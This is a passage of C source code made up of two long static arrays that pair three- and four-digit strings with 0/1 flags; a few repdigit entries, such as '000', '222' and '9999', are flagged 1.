}, { "9195", 0 }, { "9196", 0 }, { "9197", 0 }, { "9198", 0 }, { "9199", 0 }, { "9200", 0 }, { "9201", 0 }, { "9202", 0 }, { "9203", 0 }, { "9204", 0 }, { "9205", 0 }, { "9206", 0 }, { "9207", 0 }, { "9208", 0 }, { "9209", 0 }, { "9210", 0 }, { "9211", 0 }, { "9212", 0 }, { "9213", 0 }, { "9214", 0 }, { "9215", 0 }, { "9216", 0 }, { "9217", 0 }, { "9218", 0 }, { "9219", 0 }, { "9220", 0 }, { "9221", 0 }, { "9222", 0 }, { "9223", 0 }, { "9224", 0 }, { "9225", 0 }, { "9226", 0 }, { "9227", 0 }, { "9228", 0 }, { "9229", 0 }, { "9230", 0 }, { "9231", 0 }, { "9232", 0 }, { "9233", 0 }, { "9234", 0 }, { "9235", 0 }, { "9236", 0 }, { "9237", 0 }, { "9238", 0 }, { "9239", 0 }, { "9240", 0 }, { "9241", 0 }, { "9242", 0 }, { "9243", 0 }, { "9244", 0 }, { "9245", 0 }, { "9246", 0 }, { "9247", 0 }, { "9248", 0 }, { "9249", 0 }, { "9250", 0 }, { "9251", 0 }, { "9252", 0 }, { "9253", 0 }, { "9254", 0 }, { "9255", 0 }, { "9256", 0 }, { "9257", 0 }, { "9258", 0 }, { "9259", 0 }, { "9260", 0 }, { "9261", 0 }, { "9262", 0 }, { "9263", 0 }, { "9264", 0 }, { "9265", 0 }, { "9266", 0 }, { "9267", 0 }, { "9268", 0 }, { "9269", 0 }, { "9270", 0 }, { "9271", 0 }, { "9272", 0 }, { "9273", 0 }, { "9274", 0 }, { "9275", 0 }, { "9276", 0 }, { "9277", 0 }, { "9278", 0 }, { "9279", 0 }, { "9280", 0 }, { "9281", 0 }, { "9282", 0 }, { "9283", 0 }, { "9284", 0 }, { "9285", 0 }, { "9286", 0 }, { "9287", 0 }, { "9288", 0 }, { "9289", 0 }, { "9290", 0 }, { "9291", 0 }, { "9292", 0 }, { "9293", 0 }, { "9294", 0 }, { "9295", 0 }, { "9296", 0 }, { "9297", 0 }, { "9298", 0 }, { "9299", 0 }, { "9300", 0 }, { "9301", 0 }, { "9302", 0 }, { "9303", 0 }, { "9304", 0 }, { "9305", 0 }, { "9306", 0 }, { "9307", 0 }, { "9308", 0 }, { "9309", 0 }, { "9310", 0 }, { "9311", 0 }, { "9312", 0 }, { "9313", 0 }, { "9314", 0 }, { "9315", 0 }, { "9316", 0 }, { "9317", 0 }, { "9318", 0 }, { "9319", 0 }, { "9320", 0 }, { "9321", 0 }, { "9322", 0 }, { "9323", 0 }, { "9324", 0 }, { "9325", 0 }, { "9326", 0 }, { "9327", 0 }, { "9328", 0 }, { "9329", 0 }, { "9330", 0 }, { "9331", 0 }, { "9332", 0 }, { "9333", 0 }, { "9334", 0 }, { "9335", 0 }, { "9336", 0 }, { "9337", 0 }, { "9338", 0 }, { "9339", 0 }, { "9340", 0 }, { "9341", 0 }, { "9342", 0 }, { "9343", 0 }, { "9344", 0 }, { "9345", 0 }, { "9346", 0 }, { "9347", 0 }, { "9348", 0 }, { "9349", 0 }, { "9350", 0 }, { "9351", 0 }, { "9352", 0 }, { "9353", 0 }, { "9354", 0 }, { "9355", 0 }, { "9356", 0 }, { "9357", 0 }, { "9358", 0 }, { "9359", 0 }, { "9360", 0 }, { "9361", 0 }, { "9362", 0 }, { "9363", 0 }, { "9364", 0 }, { "9365", 0 }, { "9366", 0 }, { "9367", 0 }, { "9368", 0 }, { "9369", 0 }, { "9370", 0 }, { "9371", 0 }, { "9372", 0 }, { "9373", 0 }, { "9374", 0 }, { "9375", 0 }, { "9376", 0 }, { "9377", 0 }, { "9378", 0 }, { "9379", 0 }, { "9380", 0 }, { "9381", 0 }, { "9382", 0 }, { "9383", 0 }, { "9384", 0 }, { "9385", 0 }, { "9386", 0 }, { "9387", 0 }, { "9388", 0 }, { "9389", 0 }, { "9390", 0 }, { "9391", 0 }, { "9392", 0 }, { "9393", 0 }, { "9394", 0 }, { "9395", 0 }, { "9396", 0 }, { "9397", 0 }, { "9398", 0 }, { "9399", 0 }, { "9400", 0 }, { "9401", 0 }, { "9402", 0 }, { "9403", 0 }, { "9404", 0 }, { "9405", 0 }, { "9406", 0 }, { "9407", 0 }, { "9408", 0 }, { "9409", 0 }, { "9410", 0 }, { "9411", 0 }, { "9412", 0 }, { "9413", 0 }, { "9414", 0 }, { "9415", 0 }, { "9416", 0 }, { "9417", 0 }, { "9418", 0 }, { "9419", 0 }, { "9420", 0 }, { "9421", 0 }, { "9422", 0 }, { "9423", 0 }, { "9424", 0 }, { "9425", 0 }, { "9426", 0 }, { "9427", 0 }, { "9428", 0 }, { "9429", 0 }, { "9430", 0 }, { "9431", 0 }, { "9432", 0 }, { "9433", 0 }, { "9434", 0 }, { "9435", 0 }, { "9436", 0 }, { "9437", 0 }, { "9438", 0 }, { "9439", 0 }, { "9440", 0 }, { "9441", 0 }, { "9442", 0 }, { "9443", 0 }, { "9444", 0 }, { "9445", 0 }, { "9446", 0 }, { "9447", 0 }, { "9448", 0 }, { "9449", 0 }, { "9450", 0 }, { "9451", 0 }, { "9452", 0 }, { "9453", 0 }, { "9454", 0 }, { "9455", 0 }, { "9456", 0 }, { "9457", 0 }, { "9458", 0 }, { "9459", 0 }, { "9460", 0 }, { "9461", 0 }, { "9462", 0 }, { "9463", 0 }, { "9464", 0 }, { "9465", 0 }, { "9466", 0 }, { "9467", 0 }, { "9468", 0 }, { "9469", 0 }, { "9470", 0 }, { "9471", 0 }, { "9472", 0 }, { "9473", 0 }, { "9474", 0 }, { "9475", 0 }, { "9476", 0 }, { "9477", 0 }, { "9478", 0 }, { "9479", 0 }, { "9480", 0 }, { "9481", 0 }, { "9482", 0 }, { "9483", 0 }, { "9484", 0 }, { "9485", 0 }, { "9486", 0 }, { "9487", 0 }, { "9488", 0 }, { "9489", 0 }, { "9490", 0 }, { "9491", 0 }, { "9492", 0 }, { "9493", 0 }, { "9494", 0 }, { "9495", 0 }, { "9496", 0 }, { "9497", 0 }, { "9498", 0 }, { "9499", 0 }, { "9500", 0 }, { "9501", 0 }, { "9502", 0 }, { "9503", 0 }, { "9504", 0 }, { "9505", 0 }, { "9506", 0 }, { "9507", 0 }, { "9508", 0 }, { "9509", 0 }, { "9510", 0 }, { "9511", 0 }, { "9512", 0 }, { "9513", 0 }, { "9514", 0 }, { "9515", 0 }, { "9516", 0 }, { "9517", 0 }, { "9518", 0 }, { "9519", 0 }, { "9520", 0 }, { "9521", 0 }, { "9522", 0 }, { "9523", 0 }, { "9524", 0 }, { "9525", 0 }, { "9526", 0 }, { "9527", 0 }, { "9528", 0 }, { "9529", 0 }, { "9530", 0 }, { "9531", 0 }, { "9532", 0 }, { "9533", 0 }, { "9534", 0 }, { "9535", 0 }, { "9536", 0 }, { "9537", 0 }, { "9538", 0 }, { "9539", 0 }, { "9540", 0 }, { "9541", 0 }, { "9542", 0 }, { "9543", 0 }, { "9544", 0 }, { "9545", 0 }, { "9546", 0 }, { "9547", 0 }, { "9548", 0 }, { "9549", 0 }, { "9550", 0 }, { "9551", 0 }, { "9552", 0 }, { "9553", 0 }, { "9554", 0 }, { "9555", 0 }, { "9556", 0 }, { "9557", 0 }, { "9558", 0 }, { "9559", 0 }, { "9560", 0 }, { "9561", 0 }, { "9562", 0 }, { "9563", 0 }, { "9564", 0 }, { "9565", 0 }, { "9566", 0 }, { "9567", 0 }, { "9568", 0 }, { "9569", 0 }, { "9570", 0 }, { "9571", 0 }, { "9572", 0 }, { "9573", 0 }, { "9574", 0 }, { "9575", 0 }, { "9576", 0 }, { "9577", 0 }, { "9578", 0 }, { "9579", 0 }, { "9580", 0 }, { "9581", 0 }, { "9582", 0 }, { "9583", 0 }, { "9584", 0 }, { "9585", 0 }, { "9586", 0 }, { "9587", 0 }, { "9588", 0 }, { "9589", 0 }, { "9590", 0 }, { "9591", 0 }, { "9592", 0 }, { "9593", 0 }, { "9594", 0 }, { "9595", 0 }, { "9596", 0 }, { "9597", 0 }, { "9598", 0 }, { "9599", 0 }, { "9600", 0 }, { "9601", 0 }, { "9602", 0 }, { "9603", 0 }, { "9604", 0 }, { "9605", 0 }, { "9606", 0 }, { "9607", 0 }, { "9608", 0 }, { "9609", 0 }, { "9610", 0 }, { "9611", 0 }, { "9612", 0 }, { "9613", 0 }, { "9614", 0 }, { "9615", 0 }, { "9616", 0 }, { "9617", 0 }, { "9618", 0 }, { "9619", 0 }, { "9620", 0 }, { "9621", 0 }, { "9622", 0 }, { "9623", 0 }, { "9624", 0 }, { "9625", 0 }, { "9626", 0 }, { "9627", 0 }, { "9628", 0 }, { "9629", 0 }, { "9630", 0 }, { "9631", 0 }, { "9632", 0 }, { "9633", 0 }, { "9634", 0 }, { "9635", 0 }, { "9636", 0 }, { "9637", 0 }, { "9638", 0 }, { "9639", 0 }, { "9640", 0 }, { "9641", 0 }, { "9642", 0 }, { "9643", 0 }, { "9644", 0 }, { "9645", 0 }, { "9646", 0 }, { "9647", 0 }, { "9648", 0 }, { "9649", 0 }, { "9650", 0 }, { "9651", 0 }, { "9652", 0 }, { "9653", 0 }, { "9654", 0 }, { "9655", 0 }, { "9656", 0 }, { "9657", 0 }, { "9658", 0 }, { "9659", 0 }, { "9660", 0 }, { "9661", 0 }, { "9662", 0 }, { "9663", 0 }, { "9664", 0 }, { "9665", 0 }, { "9666", 0 }, { "9667", 0 }, { "9668", 0 }, { "9669", 0 }, { "9670", 0 }, { "9671", 0 }, { "9672", 0 }, { "9673", 0 }, { "9674", 0 }, { "9675", 0 }, { "9676", 0 }, { "9677", 0 }, { "9678", 0 }, { "9679", 0 }, { "9680", 0 }, { "9681", 0 }, { "9682", 0 }, { "9683", 0 }, { "9684", 0 }, { "9685", 0 }, { "9686", 0 }, { "9687", 0 }, { "9688", 0 }, { "9689", 0 }, { "9690", 0 }, { "9691", 0 }, { "9692", 0 }, { "9693", 0 }, { "9694", 0 }, { "9695", 0 }, { "9696", 0 }, { "9697", 0 }, { "9698", 0 }, { "9699", 0 }, { "9700", 0 }, { "9701", 0 }, { "9702", 0 }, { "9703", 0 }, { "9704", 0 }, { "9705", 0 }, { "9706", 0 }, { "9707", 0 }, { "9708", 0 }, { "9709", 0 }, { "9710", 0 }, { "9711", 0 }, { "9712", 0 }, { "9713", 0 }, { "9714", 0 }, { "9715", 0 }, { "9716", 0 }, { "9717", 0 }, { "9718", 0 }, { "9719", 0 }, { "9720", 0 }, { "9721", 0 }, { "9722", 0 }, { "9723", 0 }, { "9724", 0 }, { "9725", 0 }, { "9726", 0 }, { "9727", 0 }, { "9728", 0 }, { "9729", 0 }, { "9730", 0 }, { "9731", 0 }, { "9732", 0 }, { "9733", 0 }, { "9734", 0 }, { "9735", 0 }, { "9736", 0 }, { "9737", 0 }, { "9738", 0 }, { "9739", 0 }, { "9740", 0 }, { "9741", 0 }, { "9742", 0 }, { "9743", 0 }, { "9744", 0 }, { "9745", 0 }, { "9746", 0 }, { "9747", 0 }, { "9748", 0 }, { "9749", 0 }, { "9750", 0 }, { "9751", 0 }, { "9752", 0 }, { "9753", 0 }, { "9754", 0 }, { "9755", 0 }, { "9756", 0 }, { "9757", 0 }, { "9758", 0 }, { "9759", 0 }, { "9760", 0 }, { "9761", 0 }, { "9762", 0 }, { "9763", 0 }, { "9764", 0 }, { "9765", 0 }, { "9766", 0 }, { "9767", 0 }, { "9768", 0 }, { "9769", 0 }, { "9770", 0 }, { "9771", 0 }, { "9772", 0 }, { "9773", 0 }, { "9774", 0 }, { "9775", 0 }, { "9776", 0 }, { "9777", 0 }, { "9778", 0 }, { "9779", 0 }, { "9780", 0 }, { "9781", 0 }, { "9782", 0 }, { "9783", 0 }, { "9784", 0 }, { "9785", 0 }, { "9786", 0 }, { "9787", 0 }, { "9788", 0 }, { "9789", 0 }, { "9790", 0 }, { "9791", 0 }, { "9792", 0 }, { "9793", 0 }, { "9794", 0 }, { "9795", 0 }, { "9796", 0 }, { "9797", 0 }, { "9798", 0 }, { "9799", 0 }, { "9800", 0 }, { "9801", 0 }, { "9802", 0 }, { "9803", 0 }, { "9804", 0 }, { "9805", 0 }, { "9806", 0 }, { "9807", 0 }, { "9808", 0 }, { "9809", 0 }, { "9810", 0 }, { "9811", 0 }, { "9812", 0 }, { "9813", 0 }, { "9814", 0 }, { "9815", 0 }, { "9816", 0 }, { "9817", 0 }, { "9818", 0 }, { "9819", 0 }, { "9820", 0 }, { "9821", 0 }, { "9822", 0 }, { "9823", 0 }, { "9824", 0 }, { "9825", 0 }, { "9826", 0 }, { "9827", 0 }, { "9828", 0 }, { "9829", 0 }, { "9830", 0 }, { "9831", 0 }, { "9832", 0 }, { "9833", 0 }, { "9834", 0 }, { "9835", 0 }, { "9836", 0 }, { "9837", 0 }, { "9838", 0 }, { "9839", 0 }, { "9840", 0 }, { "9841", 0 }, { "9842", 0 }, { "9843", 0 }, { "9844", 0 }, { "9845", 0 }, { "9846", 0 }, { "9847", 0 }, { "9848", 0 }, { "9849", 0 }, { "9850", 0 }, { "9851", 0 }, { "9852", 0 }, { "9853", 0 }, { "9854", 0 }, { "9855", 0 }, { "9856", 0 }, { "9857", 0 }, { "9858", 0 }, { "9859", 0 }, { "9860", 0 }, { "9861", 0 }, { "9862", 0 }, { "9863", 0 }, { "9864", 0 }, { "9865", 0 }, { "9866", 0 }, { "9867", 0 }, { "9868", 0 }, { "9869", 0 }, { "9870", 0 }, { "9871", 0 }, { "9872", 0 }, { "9873", 0 }, { "9874", 0 }, { "9875", 0 }, { "9876", 0 }, { "9877", 0 }, { "9878", 0 }, { "9879", 0 }, { "9880", 0 }, { "9881", 0 }, { "9882", 0 }, { "9883", 0 }, { "9884", 0 }, { "9885", 0 }, { "9886", 0 }, { "9887", 0 }, { "9888", 0 }, { "9889", 0 }, { "9890", 0 }, { "9891", 0 }, { "9892", 0 }, { "9893", 0 }, { "9894", 0 }, { "9895", 0 }, { "9896", 0 }, { "9897", 0 }, { "9898", 0 }, { "9899", 0 }, { "9900", 0 }, { "9901", 0 }, { "9902", 0 }, { "9903", 0 }, { "9904", 0 }, { "9905", 0 }, { "9906", 0 }, { "9907", 0 }, { "9908", 0 }, { "9909", 0 }, { "9910", 0 }, { "9911", 0 }, { "9912", 0 }, { "9913", 0 }, { "9914", 0 }, { "9915", 0 }, { "9916", 0 }, { "9917", 0 }, { "9918", 0 }, { "9919", 0 }, { "9920", 0 }, { "9921", 0 }, { "9922", 0 }, { "9923", 0 }, { "9924", 0 }, { "9925", 0 }, { "9926", 0 }, { "9927", 0 }, { "9928", 0 }, { "9929", 0 }, { "9930", 0 }, { "9931", 0 }, { "9932", 0 }, { "9933", 0 }, { "9934", 0 }, { "9935", 0 }, { "9936", 0 }, { "9937", 0 }, { "9938", 0 }, { "9939", 0 }, { "9940", 0 }, { "9941", 0 }, { "9942", 0 }, { "9943", 0 }, { "9944", 0 }, { "9945", 0 }, { "9946", 0 }, { "9947", 0 }, { "9948", 0 }, { "9949", 0 }, { "9950", 0 }, { "9951", 0 }, { "9952", 0 }, { "9953", 0 }, { "9954", 0 }, { "9955", 0 }, { "9956", 0 }, { "9957", 0 }, { "9958", 0 }, { "9959", 0 }, { "9960", 0 }, { "9961", 0 }, { "9962", 0 }, { "9963", 0 }, { "9964", 0 }, { "9965", 0 }, { "9966", 0 }, { "9967", 0 }, { "9968", 0 }, { "9969", 0 }, { "9970", 0 }, { "9971", 0 }, { "9972", 0 }, { "9973", 0 }, { "9974", 0 }, { "9975", 0 }, { "9976", 0 }, { "9977", 0 }, { "9978", 0 }, { "9979", 0 }, { "9980", 0 }, { "9981", 0 }, { "9982", 0 }, { "9983", 0 }, { "9984", 0 }, { "9985", 0 }, { "9986", 0 }, { "9987", 0 }, { "9988", 0 }, { "9989", 0 }, { "9990", 0 }, { "9991", 0 }, { "9992", 0 }, { "9993", 0 }, { "9994", 0 }, { "9995", 0 }, { "9996", 0 }, { "9997", 0 }, { "9998", 0 }, { "9999", 1 } }; struct key k2[P2_SIZE] = { { "567", 1 }, { "000", 1 }, { "001", 0 }, { "002", 0 }, { "003", 0 }, { "004", 0 }, { "005", 0 }, { "006", 0 }, { "007", 0 }, { "008", 0 }, { "009", 0 }, { "010", 0 }, { "011", 0 }, { "012", 0 }, { "013", 0 }, { "014", 0 }, { "015", 0 }, { "016", 0 }, { "017", 0 }, { "018", 0 }, { "019", 0 }, { "020", 0 }, { "021", 0 }, { "022", 0 }, { "023", 0 }, { "024", 0 }, { "025", 0 }, { "026", 0 }, { "027", 0 }, { "028", 0 }, { "029", 0 }, { "030", 0 }, { "031", 0 }, { "032", 0 }, { "033", 0 }, { "034", 0 }, { "035", 0 }, { "036", 0 }, { "037", 0 }, { "038", 0 }, { "039", 0 }, { "040", 0 }, { "041", 0 }, { "042", 0 }, { "043", 0 }, { "044", 0 }, { "045", 0 }, { "046", 0 }, { "047", 0 }, { "048", 0 }, { "049", 0 }, { "050", 0 }, { "051", 0 }, { "052", 0 }, { "053", 0 }, { "054", 0 }, { "055", 0 }, { "056", 0 }, { "057", 0 }, { "058", 0 }, { "059", 0 }, { "060", 0 }, { "061", 0 }, { "062", 0 }, { "063", 0 }, { "064", 0 }, { "065", 0 }, { "066", 0 }, { "067", 0 }, { "068", 0 }, { "069", 0 }, { "070", 0 }, { "071", 0 }, { "072", 0 }, { "073", 0 }, { "074", 0 }, { "075", 0 }, { "076", 0 }, { "077", 0 }, { "078", 0 }, { "079", 0 }, { "080", 0 }, { "081", 0 }, { "082", 0 }, { "083", 0 }, { "084", 0 }, { "085", 0 }, { "086", 0 }, { "087", 0 }, { "088", 0 }, { "089", 0 }, { "090", 0 }, { "091", 0 }, { "092", 0 }, { "093", 0 }, { "094", 0 }, { "095", 0 }, { "096", 0 }, { "097", 0 }, { "098", 0 }, { "099", 0 }, { "100", 0 }, { "101", 0 }, { "102", 0 }, { "103", 0 }, { "104", 0 }, { "105", 0 }, { "106", 0 }, { "107", 0 }, { "108", 0 }, { "109", 0 }, { "110", 0 }, { "111", 0 }, { "112", 0 }, { "113", 0 }, { "114", 0 }, { "115", 0 }, { "116", 0 }, { "117", 0 }, { "118", 0 }, { "119", 0 }, { "120", 0 }, { "121", 0 }, { "122", 0 }, { "123", 0 }, { "124", 0 }, { "125", 0 }, { "126", 0 }, { "127", 0 }, { "128", 0 }, { "129", 0 }, { "130", 0 }, { "131", 0 }, { "132", 0 }, { "133", 0 }, { "134", 0 }, { "135", 0 }, { "136", 0 }, { "137", 0 }, { "138", 0 }, { "139", 0 }, { "140", 0 }, { "141", 0 }, { "142", 0 }, { "143", 0 }, { "144", 0 }, { "145", 0 }, { "146", 0 }, { "147", 0 }, { "148", 0 }, { "149", 0 }, { "150", 0 }, { "151", 0 }, { "152", 0 }, { "153", 0 }, { "154", 0 }, { "155", 0 }, { "156", 0 }, { "157", 0 }, { "158", 0 }, { "159", 0 }, { "160", 0 }, { "161", 0 }, { "162", 0 }, { "163", 0 }, { "164", 0 }, { "165", 0 }, { "166", 0 }, { "167", 0 }, { "168", 0 }, { "169", 0 }, { "170", 0 }, { "171", 0 }, { "172", 0 }, { "173", 0 }, { "174", 0 }, { "175", 0 }, { "176", 0 }, { "177", 0 }, { "178", 0 }, { "179", 0 }, { "180", 0 }, { "181", 0 }, { "182", 0 }, { "183", 0 }, { "184", 0 }, { "185", 0 }, { "186", 0 }, { "187", 0 }, { "188", 0 }, { "189", 0 }, { "190", 0 }, { "191", 0 }, { "192", 0 }, { "193", 0 }, { "194", 0 }, { "195", 0 }, { "196", 0 }, { "197", 0 }, { "198", 0 }, { "199", 0 }, { "200", 0 }, { "201", 0 }, { "202", 0 }, { "203", 0 }, { "204", 0 }, { "205", 0 }, { "206", 0 }, { "207", 0 }, { "208", 0 }, { "209", 0 }, { "210", 0 }, { "211", 0 }, { "212", 0 }, { "213", 0 }, { "214", 0 }, { "215", 0 }, { "216", 0 }, { "217", 0 }, { "218", 0 }, { "219", 0 }, { "220", 0 }, { "221", 0 }, { "222", 1 }, { "223", 0 }, { "224", 0 }, { "225", 0 }, { "226", 0 }, { "227", 0 }, { "228", 0 }, { "229", 0 }, { "230", 0 }, { "231", 0 }, { "232", 0 }, { "233", 0 }, { "234", 0 }, { "235", 0 }, { "236", 0 }, { "237", 0 }, { "238", 0 }, { "239", 0 }, { "240", 0 }, { "241", 0 }, { "242", 0 }, { "243", 0 }, { "244", 0 }, { "245", 0 }, { "246", 0 }, { "247", 0 }, { "248", 0 }, { "249", 0 }, { "250", 0 }, { "251", 0 }, { "252", 0 }, { "253", 0 }, { "254", 0 }, { "255", 0 }, { "256", 0 }, { "257", 0 }, { "258", 0 }, { "259", 0 }, { "260", 0 }, { "261", 0 }, { "262", 0 }, { "263", 0 }, { "264", 0 }, { "265", 0 }, { "266", 0 }, { "267", 0 }, { "268", 0 }, { "269", 0 }, { "270", 0 }, { "271", 0 }, { "272", 0 }, { "273", 0 }, { "274", 0 }, { "275", 0 }, { "276", 0 }, { "277", 0 }, { "278", 0 }, { "279", 0 }, { "280", 0 }, { "281", 0 }, { "282", 0 }, { "283", 0 }, { "284", 0 }, { "285", 0 }, { "286", 0 }, { "287", 0 }, { "288", 0 }, { "289", 0 }, { "290", 0 }, { "291", 0 }, { "292", 0 }, { "293", 0 }, { "294", 0 }, { "295", 0 }, { "296", 0 }, { "297", 0 }, { "298", 0 }, { "299", 0 }, { "300", 0 }, { "301", 0 }, { "302", 0 }, { "303", 0 }, { "304", 0 }, { "305", 0 }, { "306", 0 }, { "307", 0 }, { "308", 0 }, { "309", 0 }, { "310", 0 }, { "311", 0 }, { "312", 0 }, { "313", 0 }, { "314", 0 }, { "315", 0 }, { "316", 0 }, { "317", 0 }, { "318", 0 }, { "319", 0 }, { "320", 0 }, { "321", 0 }, { "322", 0 }, { "323", 0 }, { "324", 0 }, { "325", 0 }, { "326", 0 }, { "327", 0 }, { "328", 0 }, { "329", 0 }, { "330", 0 }, { "331", 0 }, { "332", 0 }, { "333", 1 }, { "334", 0 }, { "335", 0 }, { "336", 0 }, { "337", 0 }, { "338", 0 }, { "339", 0 }, { "340", 0 }, { "341", 0 }, { "342", 0 }, { "343", 0 }, { "344", 0 }, { "345", 0 }, { "346", 0 }, { "347", 0 }, { "348", 0 }, { "349", 0 }, { "350", 0 }, { "351", 0 }, { "352", 0 }, { "353", 0 }, { "354", 0 }, { "355", 0 }, { "356", 0 }, { "357", 0 }, { "358", 0 }, { "359", 0 }, { "360", 0 }, { "361", 0 }, { "362", 0 }, { "363", 0 }, { "364", 0 }, { "365", 0 }, { "366", 0 }, { "367", 0 }, { "368", 0 }, { "369", 0 }, { "370", 0 }, { "371", 0 }, { "372", 0 }, { "373", 0 }, { "374", 0 }, { "375", 0 }, { "376", 0 }, { "377", 0 }, { "378", 0 }, { "379", 0 }, { "380", 0 }, { "381", 0 }, { "382", 0 }, { "383", 0 }, { "384", 0 }, { "385", 0 }, { "386", 0 }, { "387", 0 }, { "388", 0 }, { "389", 0 }, { "390", 0 }, { "391", 0 }, { "392", 0 }, { "393", 0 }, { "394", 0 }, { "395", 0 }, { "396", 0 }, { "397", 0 }, { "398", 0 }, { "399", 0 }, { "400", 0 }, { "401", 0 }, { "402", 0 }, { "403", 0 }, { "404", 0 }, { "405", 0 }, { "406", 0 }, { "407", 0 }, { "408", 0 }, { "409", 0 }, { "410", 0 }, { "411", 0 }, { "412", 0 }, { "413", 0 }, { "414", 0 }, { "415", 0 }, { "416", 0 }, { "417", 0 }, { "418", 0 }, { "419", 0 }, { "420", 0 }, { "421", 0 }, { "422", 0 }, { "423", 0 }, { "424", 0 }, { "425", 0 }, { "426", 0 }, { "427", 0 }, { "428", 0 }, { "429", 0 }, { "430", 0 }, { "431", 0 }, { "432", 0 }, { "433", 0 }, { "434", 0 }, { "435", 0 }, { "436", 0 }, { "437", 0 }, { "438", 0 }, { "439", 0 }, { "440", 0 }, { "441", 0 }, { "442", 0 }, { "443", 0 }, { "444", 1 }, { "445", 0 }, { "446", 0 }, { "447", 0 }, { "448", 0 }, { "449", 0 }, { "450", 0 }, { "451", 0 }, { "452", 0 }, { "453", 0 }, { "454", 0 }, { "455", 0 }, { "456", 0 }, { "457", 0 }, { "458", 0 }, { "459", 0 }, { "460", 0 }, { "461", 0 }, { "462", 0 }, { "463", 0 }, { "464", 0 }, { "465", 0 }, { "466", 0 }, { "467", 0 }, { "468", 0 }, { "469", 0 }, { "470", 0 }, { "471", 0 }, { "472", 0 }, { "473", 0 }, { "474", 0 }, { "475", 0 }, { "476", 0 }, { "477", 0 }, { "478", 0 }, { "479", 0 }, { "480", 0 }, { "481", 0 }, { "482", 0 }, { "483", 0 }, { "484", 0 }, { "485", 0 }, { "486", 0 }, { "487", 0 }, { "488", 0 }, { "489", 0 }, { "490", 0 }, { "491", 0 }, { "492", 0 }, { "493", 0 }, { "494", 0 }, { "495", 0 }, { "496", 0 }, { "497", 0 }, { "498", 0 }, { "499", 0 }, { "500", 0 }, { "501", 0 }, { "502", 0 }, { "503", 0 }, { "504", 0 }, { "505", 0 }, { "506", 0 }, { "507", 0 }, { "508", 0 }, { "509", 0 }, { "510", 0 }, { "511", 0 }, { "512", 0 }, { "513", 0 }, { "514", 0 }, { "515", 0 }, { "516", 0 }, { "517", 0 }, { "518", 0 }, { "519", 0 }, { "520", 0 }, { "521", 0 }, { "522", 0 }, { "523", 0 }, { "524", 0 }, { "525", 0 }, { "526", 0 }, { "527", 0 }, { "528", 0 }, { "529", 0 }, { "530", 0 }, { "531", 0 }, { "532", 0 }, { "533", 0 }, { "534", 0 }, { "535", 0 }, { "536", 0 }, { "537", 0 }, { "538", 0 }, { "539", 0 }, { "540", 0 }, { "541", 0 }, { "542", 0 }, { "543", 0 }, { "544", 0 }, { "545", 0 }, { "546", 0 }, { "547", 0 }, { "548", 0 }, { "549", 0 }, { "550", 0 }, { "551", 0 }, { "552", 0 }, { "553", 0 }, { "554", 0 }, { "555", 1 }, { "556", 0 }, { "557", 0 }, { "558", 0 }, { "559", 0 }, { "560", 0 }, { "561", 0 }, { "562", 0 }, { "563", 0 }, { "564", 0 }, { "565", 0 }, { "566", 0 }, { "568", 0 }, { "569", 0 }, { "570", 0 }, { "571", 0 }, { "572", 0 }, { "573", 0 }, { "574", 0 }, { "575", 0 }, { "576", 0 }, { "577", 0 }, { "578", 0 }, { "579", 0 }, { "580", 0 }, { "581", 0 }, { "582", 0 }, { "583", 0 }, { "584", 0 }, { "585", 0 }, { "586", 0 }, { "587", 0 }, { "588", 0 }, { "589", 0 }, { "590", 0 }, { "591", 0 }, { "592", 0 }, { "593", 0 }, { "594", 0 }, { "595", 0 }, { "596", 0 }, { "597", 0 }, { "598", 0 }, { "599", 0 }, { "600", 0 }, { "601", 0 }, { "602", 0 }, { "603", 0 }, { "604", 0 }, { "605", 0 }, { "606", 0 }, { "607", 0 }, { "608", 0 }, { "609", 0 }, { "610", 0 }, { "611", 0 }, { "612", 0 }, { "613", 0 }, { "614", 0 }, { "615", 0 }, { "616", 0 }, { "617", 0 }, { "618", 0 }, { "619", 0 }, { "620", 0 }, { "621", 0 }, { "622", 0 }, { "623", 0 }, { "624", 0 }, { "625", 0 }, { "626", 0 }, { "627", 0 }, { "628", 0 }, { "629", 0 }, { "630", 0 }, { "631", 0 }, { "632", 0 }, { "633", 0 }, { "634", 0 }, { "635", 0 }, { "636", 0 }, { "637", 0 }, { "638", 0 }, { "639", 0 }, { "640", 0 }, { "641", 0 }, { "642", 0 }, { "643", 0 }, { "644", 0 }, { "645", 0 }, { "646", 0 }, { "647", 0 }, { "648", 0 }, { "649", 0 }, { "650", 0 }, { "651", 0 }, { "652", 0 }, { "653", 0 }, { "654", 0 }, { "655", 0 }, { "656", 0 }, { "657", 0 }, { "658", 0 }, { "659", 0 }, { "660", 0 }, { "661", 0 }, { "662", 0 }, { "663", 0 }, { "664", 0 }, { "665", 0 }, { "666", 1 }, { "667", 0 }, { "668", 0 }, { "669", 0 }, { "670", 0 }, { "671", 0 }, { "672", 0 }, { "673", 0 }, { "674", 0 }, { "675", 0 }, { "676", 0 }, { "677", 0 }, { "678", 0 }, { "679", 0 }, { "680", 0 }, { "681", 0 }, { "682", 0 }, { "683", 0 }, { "684", 0 }, { "685", 0 }, { "686", 0 }, { "687", 0 }, { "688", 0 }, { "689", 0 }, { "690", 0 }, { "691", 0 }, { "692", 0 }, { "693", 0 }, { "694", 0 }, { "695", 0 }, { "696", 0 }, { "697", 0 }, { "698", 0 }, { "699", 0 }, { "700", 0 }, { "701", 0 }, { "702", 0 }, { "703", 0 }, { "704", 0 }, { "705", 0 }, { "706", 0 }, { "707", 0 }, { "708", 0 }, { "709", 0 }, { "710", 0 }, { "711", 0 }, { "712", 0 }, { "713", 0 }, { "714", 0 }, { "715", 0 }, { "716", 0 }, { "717", 0 }, { "718", 0 }, { "719", 0 }, { "720", 0 }, { "721", 0 }, { "722", 0 }, { "723", 0 }, { "724", 0 }, { "725", 0 }, { "726", 0 }, { "727", 0 }, { "728", 0 }, { "729", 0 }, { "730", 0 }, { "731", 0 }, { "732", 0 }, { "733", 0 }, { "734", 0 }, { "735", 0 }, { "736", 0 }, { "737", 0 }, { "738", 0 }, { "739", 0 }, { "740", 0 }, { "741", 0 }, { "742", 0 }, { "743", 0 }, { "744", 0 }, { "745", 0 }, { "746", 0 }, { "747", 0 }, { "748", 0 }, { "749", 0 }, { "750", 0 }, { "751", 0 }, { "752", 0 }, { "753", 0 }, { "754", 0 }, { "755", 0 }, { "756", 0 }, { "757", 0 }, { "758", 0 }, { "759", 0 }, { "760", 0 }, { "761", 0 }, { "762", 0 }, { "763", 0 }, { "764", 0 }, { "765", 0 }, { "766", 0 }, { "767", 0 }, { "768", 0 }, { "769", 0 }, 